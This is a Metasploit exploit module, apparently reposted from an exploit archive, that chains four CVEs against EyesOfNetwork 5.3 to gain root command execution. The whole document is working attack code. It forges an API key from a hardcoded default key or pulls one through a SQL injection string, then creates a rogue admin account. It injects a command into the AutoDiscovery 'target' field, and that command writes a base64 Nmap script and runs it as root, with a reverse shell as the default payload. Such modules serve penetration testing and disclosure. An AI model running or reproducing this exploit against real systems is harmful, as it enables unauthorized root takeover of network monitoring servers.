Exploit for EyesOfNetwork AutoDiscovery Target Command Execution CVE-2020-8657 CVE-2020-8655 CVE-2020-8656 CVE-2020-8654

## https://sploitus.com/exploit?id=PACKETSTORM:156605
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',  
'Description' => %q{  
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3  
and prior in order to execute arbitrary commands as root.  
  
This module takes advantage of a command injection vulnerability in the  
`target` parameter of the AutoDiscovery functionality within the EON web  
interface in order to write an Nmap NSE script containing the payload to  
disk. It then starts an Nmap scan to activate the payload. This results in  
privilege escalation because the`apache` user can execute Nmap as root.  
  
Valid credentials for a user with administrative privileges are required.  
However, this module can bypass authentication via two methods, i.e. by  
generating an API access token based on a hardcoded key, and via SQLI.  
This module has been successfully tested on EyesOfNetwork 5.3 with API  
version 2.4.2.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Clément Billac', # @h4knet - Discovery and exploit  
'bcoles', # Metasploit  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['CVE', '2020-8654'], # authenticated rce  
['CVE', '2020-8655'], # nmap privesc  
['CVE', '2020-8656'], # sqli auth bypass  
['CVE', '2020-8657'], # hardcoded API key  
['EDB', '48025']  
],  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD,  
'Targets' => [['Auto', { }]],  
'Privileged' => true,  
'DisclosureDate' => '2020-02-06',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true, #HTTPS is required for the module to work  
'PAYLOAD' => 'generic/shell_reverse_tcp'  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),  
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
]  
end  
  
def nmap_path  
'/usr/bin/nmap'  
end  
  
def server_addr  
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']  
end  
  
def check  
vprint_status("Running check")  
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')  
  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
unless res.code == 401 && res.body.include?('api_version')  
return CheckCode::Safe('Target is not an EyesOfNetwork application.')  
end  
  
version = res.get_json_document()['api_version'] rescue ''  
  
if version.to_s.eql? ''  
return CheckCode::Detected('Could not determine EyesOfNetwork version.')  
end  
  
version = Gem::Version.new version  
  
unless version <= Gem::Version.new('2.4.2')  
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")  
end  
  
CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")  
end  
  
def generate_api_key  
default_key = "€On@piK3Y"  
default_user_id = 1  
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)  
Digest::SHA256.hexdigest(key + server_addr)  
end  
  
def sqli_to_api_key  
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash  
fake_pass = Rex::Text::rand_text_alpha(10)  
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")  
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"  
api_res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),  
'method' => 'GET',  
'vars_get' => {  
'username' => user_sqli,  
'password' => fake_pass  
}  
})  
  
unless api_res  
print_error('Connection failed.')  
return  
end  
  
unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')  
print_error("SQL injection to obtain API key failed")  
return  
end  
  
api_res.get_json_document()['EONAPI_KEY']  
end  
  
def create_eon_user(user, password)  
vprint_status("Creating user #{user} ...")  
  
vars_post = {  
user_name: user,  
user_group: "admins",  
user_password: password  
}  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),  
'ctype' => 'application/json',  
'vars_get' => {  
'apiKey' => @api_key,  
'username' => @api_user  
},  
'data' => vars_post.to_json  
})  
  
unless res  
print_warning("Failed to create user: Connection failed.")  
return  
end  
  
return res  
end  
  
def verify_api_key(res)  
return false unless res.code == 200  
  
json_data = res.get_json_document  
json_res = json_data['result']  
return false unless json_res && json_res['description']  
json_res = json_res['description']  
  
return true if json_res && json_res.include?('SUCCESS')  
  
return false  
end  
  
def delete_eon_user(user)  
vprint_status "Removing user #{user} ..."  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),  
'ctype' => 'application/json',  
'data' => { user_name: user }.to_json,  
'vars_get' => { apiKey: @api_key, username: @api_user }  
})  
  
unless res  
print_warning 'Removing user #{user} failed: Connection failed'  
return  
end  
  
res  
end  
  
def login(user, pass)  
vprint_status "Authenticating as #{user} ..."  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'vars_post' => {  
login: user,  
mdp: pass  
}  
})  
  
unless res  
fail_with Failure::Unreachable, 'Connection failed'  
end  
  
unless res.code == 200 && res.body.include?('dashboard_view')  
fail_with Failure::NoAccess, 'Authentication failed'  
end  
  
print_good "Authenticated as user #{user}"  
  
@cookie = res.get_cookies  
  
if @cookie.empty?  
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'  
end  
  
res  
end  
  
def create_autodiscovery_job(cmd)  
vprint_status "Creating AutoDiscovery job: #{cmd}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),  
'cookie' => @cookie,  
'vars_post' => {  
'request' => 'autodiscover',  
'job_name' => 'Internal discovery',  
'job_description' => 'Internal EON discovery procedure.',  
'nmap_binary' => nmap_path,  
'default_template' => '',  
'target[]' => cmd  
}  
})  
  
unless res  
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'  
end  
  
unless res.body.include? 'Starting...'  
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'  
end  
  
res  
end  
  
def delete_autodiscovery_job(job_id)  
vprint_status "Removing AutoDiscovery job #{job_id} ..."  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),  
'cookie' => @cookie,  
'vars_get' => {  
id: job_id,  
delete: 1  
}  
})  
  
unless res  
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"  
return  
end  
res  
end  
  
def execute_command(cmd, opts = {})  
res = create_autodiscovery_job ";#{cmd} #"  
return unless res  
  
job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first  
  
if job_id.empty?  
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'  
return  
end  
delete_autodiscovery_job job_id  
end  
  
def cleanup  
super  
if @username  
delete_eon_user @username  
end  
end  
  
def exploit  
unless [CheckCode::Detected, CheckCode::Appears].include? check  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
@api_user = 'admin'  
@api_key = generate_api_key  
print_status "Using generated API key: #{@api_key}"  
  
@username = rand_text_alphanumeric(8..12)  
@password = rand_text_alphanumeric(8..12)  
  
create_res = create_eon_user @username, @password  
unless verify_api_key(create_res)  
@api_key = sqli_to_api_key  
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key  
print_status("Using API key obtained via SQL injection: #{@api_key}")  
sqli_verify = create_eon_user @username, @password  
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)  
end  
  
admin_group_id = 1  
login @username, @password  
unless @cookie.include? 'group_id='  
@cookie << "; group_id=#{admin_group_id}"  
end  
  
nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")  
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"  
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"  
print_status "Sending payload (#{cmd.length} bytes) ..."  
execute_command cmd  
end  
end